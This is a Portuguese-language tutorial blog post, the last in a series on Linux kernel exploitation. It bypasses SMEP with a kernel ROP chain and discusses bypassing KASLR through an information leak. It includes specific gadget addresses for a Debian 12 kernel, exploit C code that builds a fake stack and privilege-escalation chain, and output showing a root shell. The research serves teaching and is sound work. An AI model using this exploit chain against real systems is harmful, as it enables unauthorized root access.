Introdução
No post anterior desta série realizamos a exploração da vulnerabilidade e, com isso, conseguimos escalar os privilégios ao obter a execução de uma shell como usuário ‘root'. Também tratamos um problema que surgiu no decorrer da exploração, conseguindo manter o sistema estável normalmente.
Porém, toda essa exploração foi feita com as mitigações desabilitadas. Ao montar o ambiente, na primeira parte da série de blog posts, o configuramos para que as mitigações fossem desabilitadas a fim de facilitar nossas análises e testes. Essa é uma prática bastante comum ao fazer pesquisa e exploração de vulnerabilidades.
Neste último post da série, agora que já exploramos a vulnerabilidade, vamos habilitar as mitigações, uma a uma, e fazer os bypasses delas, de modo que nosso exploit funcione mesmo em um ambiente com essas mitigações habilitadas. As mitigações que contornaremos serão Supervisor Mode Execution Prevention (SMEP) e Kernel Address Space Layout Randomization (KASLR). Já outras, como Supervisor Mode Access Prevention (SMAP) e Kernel Page Table Isolation (KPTI), não serão habilitadas e explicaremos o motivo ao final da postagem.
Motivação e objetivo
Conforme infraestrutura computacional vai ficando mais crítica para o funcionamento da sociedade, diversos esforços tem sido realizados para diminuir os problemas de segurança, desde aplicações até o próprio kernel do sistema. Algumas dessas mitigações funcionam desde o nível da arquitetura da CPU (como é o caso de SMEP e SMAP), já outras, a nível de software, implementadas a nível de código pelo sistema operacional (como KASLR e KPTI).
Por mais que seu funcionamento em específico sejam diferentes, elas compartilham do mesmo objetivo: dificultar a exploração bem sucedida de vulnerabilidades. Isso pode ser feito buscando acabar com uma classe de vulnerabilidade (como já tratamos sobre NULL Pointer Dereference), impedir uma técnica de exploração (como com ‘ret2usr', que tratamos no post anterior) ou ainda para dificultar a exploração (por exemplo: KASLR).
Dessa forma, é bastante comum que sistemas e CPUs modernas já estejam, por padrão, fazendo uso dessas mitigações. Sendo assim, devemos estar preparados para lidar com elas ao fazer a exploração de vulnerabilidades em ambientes reais. Portanto, contornar tais mitigações faz parte da exploração bem sucedida de vulnerabilidades. Já que nosso objetivo é explorar a vulnerabilidade, devemos também nos empenhar em burlar as mitigações pertinentes a cada caso.
Neste post faremos os bypasses de duas mitigações importantes para nosso cenário: SMEP e KASLR. Para entender o porquê de elas serem relevantes para nosso caso, precisamos entender como elas funcionam, e então buscar artifícios para lidar com esses impasses.
SMEP
Funcionamento do SMEP
SMEP (Supervisor Mode Execution Prevention) é uma mitigação implementada a nível de hardware nas CPUs modernas que impede a execução de códigos que estejam em memória do processos de usuário, enquanto a execução estiver em modo kernel. Ou seja, com essa mitigação habilitada, não é possível que enquanto a CPU estiver executando em modo kernel que ela execute instruções coletadas da memória de user mode.
De acordo com o recurso de paginação, o bit U/S distingue páginas de memória do kernel das páginas do usuário. Normalmente o kernel pode acessar e executar códigos independente de o bit U/S estar definido, porém o usuário pode acessar somente páginas que tem o bit U/S definido. Com SMEP em uso é proibida a execução de códigos em páginas com bit U/S definido enquanto a CPU operar em kernel mode (Current Privilege Level igual à 0), mas o acesso de leitura e escrita ainda é permitido.
O ataque que implementamos no último post fazia justamente isso: redirecionava a execução em kernel mode para executar instruções assembly que estavam na memória do processo do usuário (a técnica ‘ret2usr', lembra?). Com SMEP habilitado essa técnica não é mais viável, então precisamos encontrar formas de contorná-la.
Habilitando SMEP
Antes de buscar contornar a mitigação, vamos habilitá-la em nosso ambiente de laboratório para vermos seu funcionamento em ação. Atualmente, a configuração do nosso laboratório está desabilitando SMEP, SMAP, KASLR e KPTI:
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smep,smap nokaslr nopti quiet
user@debian12:~$Vamos reabilitar SMEP ao modificar o arquivo /etc/default/grub, removendo 'smep' de GRUB_CMDLINE_LINUX:
user@debian12:~$ grep smep /etc/default/grub
GRUB_CMDLINE_LINUX=" clearcpuid=smep,smap nokaslr nopti"
user@debian12:~$ sudo sed -i 's/smep,//' /etc/default/grub
user@debian12:~$ grep smep /etc/default/grub
user@debian12:~$Feito isso devemos gerar a configuração do GRUB e reiniciar a máquina:
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo rebootApós o sistema inicializar, já podemos verificar a configuração pelo arquivo /proc/cmdline e notamos que não há mais a configuração desabilitando SMEP:
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nokaslr nopti quiet
user@debian12:~$Por fim, com SMEP habilitado, o exploit, como fizemos no último post, não deve funcionar, já que a técnica utilizada ('ret2usr‘) é barrada por essa mitigação:
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$Ao analisarmos as mensagens do kernel pelo GDB notamos que ocorreu um page fault devido à tentativa de executar código em kernel mode vindos de memória de processo do usuário:
(gdb) lx-dmesg
...
[ 78.094837] unable to execute userspace code (SMEP?) (uid: 1000)
[ 78.094859] BUG: unable to handle page fault for address: 000055b9e992082c
[ 78.094868] #PF: supervisor instruction fetch in kernel mode
[ 78.094876] #PF: error_code(0x0011) - permissions violationChegando a esse estágio, devemos buscar uma forma de contornar esse problema para que, ainda assim, consigamos executar código e alcançar novamente privilégios de ‘root'.
Bypass do SMEP: ROP (Return Oriented Programming)
Traçando um paralelo entre exploração de kernel e binários userland, a mitigação SMEP é bem semelhante com o NX bit disponível nas entradas da page table, vez que ambas são formas de impedir que dados sejam executados. No mundo da exploração de binários userland, a forma de lidar com binários que proíbem dados de serem executados é através da técnica conhecida como ROP (Return Oriented Programming). De maneira semelhante, podemos utilizar ROP para contornar SMEP em kernel mode.
ROP é uma técnica que consiste em encadear instruções assembly (chamadas de gadgets), que já existem na seção de código do binário, a fim de criar códigos que executem o objetivo do ataque. Como nosso cenário é de exploração de kernel, devemos buscar gadgets na seção de código do kernel para montarmos uma cadeia de execução dessas instruções para realizar aquelas operações que fizemos para escalação de privilégios no post anterior: executar commit_creds(prepare_kernel_cred(0)), rtnl_unlock(), swapgs e sysretq.
NOTA: Essa não é a única forma de utilizar ROP para bypass de SMEP. Também é possível utilizar ROP para desabilitar SMEP e assim poder executar ‘ret2usr‘ como na postagem anterior, porém, mitigações no kernel do Linux foram adicionadas para evitar que isso ocorra (security things in Linux v5.3).
A técnica é chamada Return Oriented Programming pois cada gadget utilizado para montar a cadeia de execução tem uma instrução 'ret' ao final. Relembrando: a instrução 'ret' redireciona o fluxo da execução para o endereço que está no topo da stack. Então, ao organizar a stack com os endereços dos gadgets que queremos executar teremos a ROP chain.
A ROP chain executa as instruções a partir dos endereços na stack, mas não temos acesso à stack em kernel mode. Sendo assim, precisamos encontrar uma forma de controlar os valores na stack do kernel para então inserirmos a ROP chain. Como não temos controle da stack do kernel, e esse é um pré-requisito, uma maneira de controlar valores na stack é alterar a stack para um endereço que podemos manipular. O gadget que realiza a mudança da stack para um endereço controlado pelo usuário é chamado de stack pivot. Esse tipo de gadget faz a alteração do RSP para um valor no espaço de memória que conseguimos alocar como usuário. Por exemplo:
mov $0xff0000, %esp
retO gadget acima, ao ser executado, coloca o valor 0xff0000 em ESP e zera os 4 bytes superiores de RSP, de acordo com a arquitetura. Como esse endereço é no espaço de endereçamento do usuário, nós conseguimos alocar memória nesse endereço para utilizar como stack e montar nossa ROP chain nesse ponto.
Stack pivot
O primeiro passo que faremos é buscar por um gadget stack pivot. Uma possibilidade para buscar stack pivot no kernel é utilizando ferramentas como kropr, ropr ou ROPGadget. Basicamente, o que essas ferramentas fazem é ler o ‘vmlinux' buscando por opcodes relacionados à instruções assembly que sirvam para construir a ROP chain.
Executando uma dessas ferramentas, como abaixo, teremos os gadgets que ela encontrou salvos em um arquivo de texto. Isso é interessante, pois como o ‘vmlinux' é um binário grande, não perderemos tempo tendo que executar a ferramenta várias vezes.
$ kropr vmlinux > gadgets.txtQueremos um gadget para colocar em RSP um valor que seja de um endereço que conseguimos mapear, dentro do espaço de endereçamento do usuário, então podemos filtrar os gadgets que a ferramenta encontrou por gadgets do tipo ‘mov VALOR, ESP'. Como a ferramenta utiliza sintaxe Intel, devemos inverter a ordem dos operadores ao fazer a busca:
$ grep 'mov esp, 0x[a-f0-9]*; ret;$' gadgets.txt
...
0xffffffff81905de1: mov esp, 0xf6000000; ret;
...Podemos escolher um dos gadgets que foi exibido e trabalhar com ele. Dentre as opções disponíveis, selecionamos a que está destacada na listagem de código acima. Podemos confirmar o gadget pelo GDB:
(gdb) x/2i 0xffffffff81905de1
0xffffffff81905de1 <ip6_finish_output2+545>: mov $0xf6000000,%esp
0xffffffff81905de6 <ip6_finish_output2+550>: ret
(gdb)ATENÇÃO: É importante confirmar via GDB que o gadget é do tipo esperado, pois as ferramentas disponíveis para busca de ROP gadgets não funcionam muito bem para exploração de kernel. Por conta disso, também, em alguns momentos utilizaremos o GDB para buscar por gadgets desejados.
Com o stack pivot escolhido, vamos modificar o código que construímos no post anterior de modo que ao invés de executar a função privesc(), o stack pivot seja executado.
#define STACK_PIVOT 0xffffffff81905de1
...
int main (void) {
...
ops.destroy = (void *)STACK_PIVOT;
...
}Executando o código dessa forma, podemos, através da mensagem de erro gerado, saber se o stack pivot gadget foi executado com sucesso:
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface(gdb) lx-dmesg
...
[ 24.089916] traps: PANIC: double fault, error_code: 0x0
[ 24.089921] double fault: 0000 [#1] PREEMPT SMP NOPTI
...
[ 24.089926] RIP: 0010:ip6_finish_output2+0x226/0x630
...
[ 24.089933] RSP: 0018:00000000f6000000 EFLAGS: 00010286
...As mensagens do kernel informam que ocorreu um problema de double fault. Isso aconteceu na instrução 'ip6_finish_output2+0x226', que é a instrução ‘ret' do stack pivot gadget que utilizamos. Além disso, podemos ver que o valor de RSP é 0xf6000000, que é justamente o valor que nosso stack pivot gadget colocou no registrador.
Então conseguimos executar o stack pivot corretamente, agora precisamos mapear a memória nesse endereço e gerar um page fault para que, além de mapeada, as page tables sejam preenchidas corretamente antes do kernel utilizar esse mapeamento como stack.
#define STACK_PIVOT 0xffffffff81905de1
#define FAKE_STACK 0xf6000000
...
int main (void) {
...
void *fake_stack;
...
ops.destroy = (void *)STACK_PIVOT;
fake_stack = mmap(FAKE_STACK - PAGE_SIZE, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (fake_stack == MAP_FAILED) {
perror("null mapping");
exit(EXIT_FAILURE);
}
*(char *)fake_stack = 0;
...
}Com essas modificações no código vemos que a mensagem de log do kernel é diferente:
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$(gdb) lx-dmesg
...
[ 142.985525] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 142.985534] #PF: supervisor instruction fetch in kernel mode
[ 142.985542] #PF: error_code(0x0011) - permissions violation
...
[ 142.985592] RIP: 0010:0x0
[ 142.985602] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[ 142.985611] RSP: 0018:00000000f6000008 EFLAGS: 00010286
...
Veja que novamente houve um NULL Pointer Dereference bem como o alerta de violação de permissão. Isso aconteceu pois nosso gadget tem uma instrução 'ret', que pega o valor do topo da stack para executar. Como a stack agora é 0xf6000000 (veja o valor de RSP) e essa parte da memória está zerada, a CPU tentou executar código no endereço 0x0 (veja o valor de RIP).
Podemos validar esse raciocínio: vamos colocar um endereço arbitrário (0x0000414141414141) no topo da nossa falsa stack e verificar se a CPU tenta executar esse endereço. Para fazermos isso, vamos criar uma função que será encarregada de montar toda a ROP chain na nossa falsa stack.
void krop_build (unsigned long * stack) {
int offset = 0;
if(stack == NULL){
printf("[-] - Error while building kROP\n");
exit(EXIT_FAILURE);
}
stack[offset++] = 0x414141414141;
}
int main (void) {
...
*(char *)fake_stack = 0;
build_krop(fake_stack + PAGE_SIZE);
...
}user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$(gdb) lx-dmesg
...
[ 14.840173] BUG: unable to handle page fault for address: 0000414141414141
[ 14.840200] #PF: supervisor instruction fetch in kernel mode
[ 14.840210] #PF: error_code(0x0010) - not-present page
...
[ 14.840269] RIP: 0010:0x414141414141
[ 14.840277] Code: Unable to access opcode bytes at 0x414141414117.
[ 14.840286] RSP: 0018:00000000f6000008 EFLAGS: 00010286
...Note que a CPU tentou executar código no endereço 0x0000414141414141, que é justamente o valor que colocamos no topo da nossa falsa stack. Até então configuramos a parte do stack pivot de modo que temos nossa falsa stack funcionando corretamente. O próximo passo é montar a ROP chain completa.
ROP chain
Com a parte do stack pivot funcionando, agora precisamos montar a ROP chain completa com gadgets que façam as operações que desejamos para escalar privilégios. Lembra da função privesc() do código do blog post anterior? Então, devemos montar uma ROP chain que seja análoga àquela função.
void privesc (void) {
unsigned long *cred;
cred = prepare_kernel_cred(NULL);
commit_creds(cred);
rtnl_unlock();
asm(
"swapgs;"
"mov %0, %%rsp;"
"mov %1, %%rcx;"
"mov %2, %%r11;"
"sysretq;"
:: "r" (user_rsp),
"r" (&got_root),
"r" (user_rflags)
);
}O primeiro passo é zerar o valor de RDI e chamar a função prepare_kernel_cred(). Buscaremos esse gadget manualmente, para mostrar como podemos realizar esse passo com o GDB. Vemos que os opcodes das instruções 'pop %rdi ; ret' são 0x5f e 0xc3, buscaremos por elas na seção de código do Linux através do GDB:
$ as
pop %rdi
ret
$ objdump -d a.out
...
0: 5f pop %rdi
1: c3 ret
$(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x5f,0xc3
0xffffffff8100234d <map_vdso+253>
1 pattern found.
(gdb) x/2i map_vdso+253
0xffffffff8100234d <map_vdso+253>: pop %rdi
0xffffffff8100234e <map_vdso+254>: ret
(gdb)Colocamos esse endereço na falsa stack seguido do valor que deve ir para RDI ao fazer o 'pop' e o endereço da função prepare_kernel_cred() para ser utilizado pela instrução 'ret':
...
#define POP_RDI_RET 0xffffffff8100234d
#define PREPARE_KERNEL_CRED 0xffffffff810cd370
...
void build_krop (unsigned long * stack) {
int offset = 0;
stack[offset++] = POP_RDI_RET;
stack[offset++] = 0;
stack[offset++] = prepare_kernel_cred;
}Então devemos seguir esses passos para todas as etapas até reproduzir o comportamento da função privesc() e alcançar nosso objetivo de escalar privilégios e retornar para modo usuário. Agora precisamos encontrar um gadget que coloque o valor retornado pela função (valor do registrador RAX) no registrador RDI para então executar commit_creds(), mas nem sempre será trivial encontrar um gadget desejado. Por exemplo, para o que precisamos agora, o seguinte gadget seria ideal:
mov %rax, %rdi
retMas como pode ser visto, não foi possível encontrá-lo nesta versão do kernel:
$ grep 'mov rdi, rax; .*ret$' gadgets.txt
$Então para construir a ROP chain é interessante criatividade para resolver esse tipo de impasse. Podemos conseguir o mesmo resultado com outras instruções, como a instrução 'xchg':
$ as
xchg %rdi, %rax
ret
$ objdump -d a.out
...
0: 48 97 xchg %rax,%rdi
2: c3 ret
$Mas, como alertamos, nem sempre será possível encontrar o gadget ideal facilmente:
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x48,0x97,0xc3
Pattern not found.
(gdb)Podemos modificar um pouco a busca e ver se o que for encontrado serve ao nosso propósito:
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x48,0x97
0xffffffff81045884 <mmio_stale_data_show_state+100>
1 pattern found.
(gdb) x/5i mmio_stale_data_show_state+100
0xffffffff81045884 <mmio_stale_data_show_state+100>: xchg %rax,%rdi
0xffffffff81045886 <mmio_stale_data_show_state+102>: cmp $0x0,%al
0xffffffff81045888 <mmio_stale_data_show_state+104>: cltq
0xffffffff8104588a <mmio_stale_data_show_state+106>: ret
0xffffffff8104588b <mmio_stale_data_show_state+107>: int3
(gdb)NOTA: Nesse caso, os efeitos colaterais do gadget não nos causam problemas, mas em alguns cenários pode ser que sim. Em tais situações, devemos contornar os efeitos gerados.
Colocamos o endereço desse gadget seguido dos endereços das funções commit_creds() e rtnl_unlock():
...
#define POP_RDI_RET 0xffffffff8100234d
#define XCHG_RAX_RDI_RET 0xffffffff81045884
#define PREPARE_KERNEL_CRED 0xffffffff810cd370
#define COMMIT_CREDS 0xffffffff810cd0d0
#define RTNL_UNLOCK 0xffffffff817c6ac0
...
void build_krop (unsigned long * stack) {
int offset = 0;
stack[offset++] = POP_RDI_RET;
stack[offset++] = 0;
stack[offset++] = PREPARE_KERNEL_CRED;
stack[offset++] = XCHG_RAX_RDI_RET;
stack[offset++] = COMMIT_CREDS;
stack[offset++] = RTNL_UNLOCK;
}Falta a parte final que é executar ‘swapgs', organizar o valor de alguns registradores e também executar a instrução 'sysretq‘. Nesse ponto é preciso um pouco de atenção: para o correto funcionamento de retornar para user mode utilizando ‘sysretq' devemos configurar o valor de RSP (caso não se recorde, releia esse trecho do post anterior). Ao alterar RSP, a stack utilizada não mais aponta para nossa falsa stack. Então o gadget para executar ‘sysretq‘ também já deve fazer 'pop %rsp'.
$ grep 'pop rsp; .* sysret' gadgets.txt
0xffffffff81c0018a: mov cr3, rdi; pop rax; pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018b: and bl, bh; pop rax; pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018c: fistp word ptr [rax+0x5f], st; pop rsp; swapgs; sysretq;
0xffffffff81c0018d: pop rax; pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018e: pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018f: pop rsp; swapgs; sysretq;
$O kernel naturalmente precisa retornar para modo usuário durante execuções de chamadas de sistemas e quando isso acontece, o contexto do código que executou a chamada é salvo na stack. Então, quando for retornar, já existe código no kernel que realiza as instruções necessárias como parte do system call handler. Como pode ver abaixo, as instruções 'pop %rsp ; swpgs ; sysretq' foram encontradas no final do syscall handler, como pode ser notado no símbolo entry_SYSCALL_64.
(gdb) x/3i 0xffffffff81c0018f
0xffffffff81c0018f <entry_SYSCALL_64+399>: pop %rsp
0xffffffff81c00190 <entry_SYSCALL_64+400>: swapgs
0xffffffff81c00193 <entry_SYSCALL_64+403>: sysretq
(gdb)Configuramos agora os outros dois registradores necessários para a instrução ‘sysretq‘ e então podemos inserir esse gadget em nosso código.
De maneira bastante semelhante a como fizemos anteriormente, buscamos por gadgets que façam 'pop' para RCX (a função que devemos executar em modo usuário) e R11 (o valor salvo de RFLAGS):
$ as
pop %rcx
ret
$ objdump -d a.out
...
0: 59 pop %rcx
1: c3 ret
$ as
pop %r11
ret
$ objdump -d a.out
...
0: 41 5b pop %r11
2: c3 ret
$(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x59,0xc3
0xffffffff8101e7ac <__raw_callee_save_xen_pte_val+28>
1 pattern found.
(gdb) x/2i __raw_callee_save_xen_pte_val+28
0xffffffff8101e7ac <__raw_callee_save_xen_pte_val+28>: pop %rcx
0xffffffff8101e7ad <__raw_callee_save_xen_pte_val+29>: ret
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x41,0x5b,0xc3
0xffffffff81506b1c <io_uring_poll+92>
1 pattern found.
(gdb) x/2i io_uring_poll+92
0xffffffff81506b1c <io_uring_poll+92>: pop %r11
0xffffffff81506b1e <io_uring_poll+94>: ret
(gdb) cComo resultado final, temos o seguinte:
...
#define POP_RDI_RET 0xffffffff8100234d
#define XCHG_RAX_RDI_RET 0xffffffff81045884
#define POP_RCX_RET 0xffffffff8101e7ac
#define POP_R11_RET 0xffffffff81506b1c
#define POP_RSP_SWAPGS_SYSRET 0xffffffff81c0018f
#define PREPARE_KERNEL_CRED 0xffffffff810cd370
#define COMMIT_CREDS 0xffffffff810cd0d0
#define RTNL_UNLOCK 0xffffffff817c6ac0
...
void build_krop (unsigned long * stack) {
int offset = 0;
stack[offset++] = POP_RDI_RET;
stack[offset++] = 0;
stack[offset++] = PREPARE_KERNEL_CRED;
stack[offset++] = XCHG_RAX_RDI_RET;
stack[offset++] = COMMIT_CREDS;
stack[offset++] = RTNL_UNLOCK;
stack[offset++] = POP_RCX_RET;
stack[offset++] = (unsigned long)&got_root;
stack[offset++] = POP_R11_RET;
stack[offset++] = user_rflags;
stack[offset++] = POP_RSP_SWAPGS_SYSRET;
stack[offset++] = user_rsp;
}Devido à função de construção da ROP chain usar valores do contexto do código em execução, como o valor da stack e o valor de RFLAGS, devemos executar a função para salvar os registradores antes mesmo de montar a ROP chain na falsa stack:
...
int main (void) {
...
*(char *)fake_stack = 0;
save_registers();
build_krop(fake_stack + PAGE_SIZE);
...
}user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$Perfeito! Modificamos o código que tínhamos construído anteriormente e agora já consegue lidar com a mitigação SMEP, conseguimos corretamente fazer o bypass dessa mitigação. Apesar do kernel ainda estar consumindo dados do espaço de endereçamento do usuário diretamente durante a exploração, como é o caso da falsa stack, a execução de código agora está acontecendo apenas no espaço de endereçamento do kernel. Mas não para por aí, ainda devemos lidar com KASLR.
KASLR
Funcionamento do KASLR
KASLR é uma mitigação a nível de software, no próprio sistema operacional, que randomiza o endereço onde o kernel é carregado na memória e regiões criadas dinamicamente. A randomização é feita no processo de boot, enquanto a máquina está iniciando, antes mesmo do sistema ficar disponível para o usuário. Isso quer dizer que o endereço de carregamento do kernel vai mudar toda vez que o sistema é inicializado, mas se mantém durante todo seu funcionamento.
O funcionamento do KASLR é relativamente simples. Durante a inicialização do sistema, um offset aleatório (chamado de KASLR slide) é usado para mover o kernel para um endereço diferente. A forma como é feita depende dos mecanismos de randomização existente na máquina em questão. Após o novo endereço ter sido obtido, todo o binário do kernel é carregado a partir desse endereço. Isso significa que as distâncias relativas entre símbolos do próprio binário continuam as mesmas após a randomização. Isso é importante para pensarmos como podemos contornar o KASLR.
ATENÇÃO: É importante notar que pode ocorrer randomização de endereços que não são relacionadas ao KASLR. Temos como exemplos a ordem dos objetos alocados dinamicamente ou os módulos carregados durante ou após a inicialização do sistema.
A base dessa mitigação é derivada da ASLR (Address Space Layout Randomization) implementada para aplicações em modo usuário. A ideia é tornar aleatório os endereços que o programa utiliza durante sua execução. Com isso, impedindo o funcionamento de exploits que utilizem endereços fixos para a exploração.
O exploit que fizemos até então tem os endereços das funções (prepare_kernel_cred(), commit_creds() e rtln_unlock()) e dos ROP gadgets hard coded, ou seja, estão fixos no código-fonte. Com KASLR habilitado, esses endereços devem mudar a cada inicialização do sistema, o que impedirá o correto funcionamento do exploit.
Por conta disso, precisamos encontrar uma forma de resolver esse impasse. Mas antes, vamos testar o código com KASLR habilitado para ver o resultado.
Teste com KASLR habilitado
A fim de ver o funcionamento da mitigação, vamos habilitá-la e executar o exploit. Para isso, basta seguir os passos que você já conhece:
- Modificar o arquivo
/etc/default/grub - Gerar a configuração do GRUB
- Reiniciar a máquina
- Executar o exploit
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nokaslr nopti quiet
user@debian12:~$ sudo sed -i 's/nokaslr//' /etc/default/grub
[sudo] password for user:
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo rebootuser@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nopti quiet
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$NOTA: Com KASLR habilitado, o debugging de kernel com o GDB fica mais complicado. O kernel em execução na máquina virtual não está mais de acordo com os endereços presentes no binário carregado. Poderíamos corrigir isso descobrindo os endereços corretos e informando ao GDB ou informando o KASLR slide diretamente.
Feito esse processo, vamos novamente desabilitar a mitigação para trabalhar no bypass:
user@debian12:~$ sudo sed -i 's/nopti/nokaslr nopti/' /etc/default/grub
[sudo] password for user:
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo reboot
...
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nokaslr nopti quiet
user@debian12:~$Bypass do KASLR: Information Leak
Como explicamos anteriormente, com KASLR habilitado ou desabilitado, as distâncias relativas entre os símbolos do próprio binário do kernel continuam iguais. Então, para contornar essa mitigação, o que precisamos fazer é encontrar o KALSR slide usado para randomizar o endereço base do kernel. Obtido esse valor para um símbolo, ele vale para os demais. A seguinte relação matemática é válida:
ENDEREÇO DO SÍMBOLO NÃO RANDOMIZADO + KASLR SLIDE = ENDEREÇO ENDEREÇO DO SÍMBOLO RANDOMIZADO
ENDEREÇO DO SÍMBOLO RANDOMIZADO - ENDEREÇO DO SÍMBOLO NÃO RANDOMIZADO = KASLR SLIDE
O objetivo é obter, durante ou antes da execução do exploit, o KASLR slide usado. Um valor na relação matemática acima facilmente encontrado é o endereço não randomizado. Ele está presente no binário do kernel que obtemos para configurar o ambiente. É possível conseguir esse valor para qualquer kernel, independente da versão ou distribuição Linux. Esses binários estão disponíveis nos repositórios de pacotes. Então, conseguindo obter o endereço randomizado enquanto KASLR está habilitado, é possível computar o valor do KASLR slide e de-randomizar (prever) todo o binário/símbolos do kernel em execução.
Veja, por exemplo, esse cálculo sendo feito e a descoberta do valor do KASLR slide, 0x7e00000:
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nopti quiet
user@debian12:~$ sudo cat /proc/kallsyms | grep -w commit_creds
[sudo] password for user:
ffffffff88ecd0d0 T commit_creds
user@debian12:~$(gdb) p &commit_creds
$3 = (int (*)(struct cred *)) 0xffffffff810cd0d0 <commit_creds>
(gdb) p/x 0xffffffff88ecd0d0 - 0xffffffff810cd0d0
$4 = 0x7e00000
(gdb)Obter um endereço do kernel se caracteriza uma vulnerabilidade por permitir de-randomizar o kernel e inferir a localização de objetos. Esses problemas são chamadas de vazamento de informação (information leak). Devido a isso, várias iniciativas foram implementadas para evitar que esses vazamentos ocorram. Anteriormente, endereços do kernel ficavam facilmente disponíveis em diversos locais no sistema, inclusive no log do kernel, acessível via dmesg, ou no sistema de arquivo /proc.
Hoje em dia não há muitas formas genéricas e conhecidas publicamente que ainda funcione, principalmente em um kernel recente como no Debian 12. Porém, muitas vezes, a vulnerabilidade pode ser abusada para além de permitir execução de código arbitrário, também retornar para o usuário endereços de kernel. Dessa forma, conseguimos obter o endereço randomizado, sem a necessidade de uma vulnerabilidade de information leak adicional.
